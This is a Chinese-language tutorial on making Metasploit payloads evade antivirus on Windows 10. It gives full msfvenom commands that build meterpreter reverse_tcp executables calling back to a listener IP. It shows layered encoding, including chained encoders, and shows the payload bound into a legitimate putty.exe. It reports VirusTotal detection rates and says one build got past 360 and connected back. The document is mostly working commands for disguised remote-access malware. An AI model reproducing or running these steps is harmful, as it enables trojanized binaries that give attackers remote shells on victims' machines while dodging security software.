0x01 环境

目标机器:windows10

杀毒软件: 360安全卫士、360杀毒、火绒

在线查杀:VT

0x02 原始payload

目标机是windows 10这里用windows/meterperter/reverse_tcp生成payload

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.207 LPORT=5555 -f exe -o pentest.exe

原始的可以看到几乎没用,全面封杀

virustotal.com查杀率为58/72

0x03 msf自编码处理

使用msfvenom --list encoders查看所有编码器

等级最高的是cmd/powershell_base64x86/shikata_ga_nai这里选择x86/shikata_ga_nai生成payload

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.207 LPORT=5555 -e x86/shikata_ga_nai -b "\x00" -i 15  -f exe -o pentest2.exe

依旧全面封杀

virustotal.com上查杀率为56/71

注:x86/shikata_ga_nai是多态的,每次生成的攻击载荷文件都不一样,有时生成的文件会被查杀,有时却不会

0x04 msf自捆绑

生成payload的时候可以使用捆绑功能,msfvenom的-x参数可以指定一个自定的可执行文件作为模版,将payload嵌入其中,如下使用putty.exe做测试

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333  -x putty.exe  -f exe -o payload3.exe

依旧全部封杀

virustotal.com上查杀率为35/71

注:可以选择微软的其他工具作为模版exe

0x05 msf自捆绑+编码

下载putty.exe

1
wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

生成payload

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.210 LPORT=5555 -e x86/shikata_ga_nai -x putty.exe  -i 15 -f exe -o pentest4.exe

在测试机器中发现火绒报毒,360并未报毒

关闭火绒后,执行payload发现360无异常,可正常上线

注:-i参数可以修改编码次数,次数越多越可能免杀,且因为x86/shikata_ga_nai是多态的,如果出现不能免杀360的情况下可多尝试几次

virustotal.com上查杀率为44/71

0x05 msf多重编码

如上我们了解到msfvenom的encoder编码器可以做一定程度的免杀,同样可以利用msfvenom多重编码功能,通过管道,让msfvenom的不同编码器反复编码进行混淆

生成payload

1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.197.210 LPORT=5555 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > pentest5.exe

virustotal.com上查杀率为49/71

虽然查杀率变高了,依旧可以过一会儿360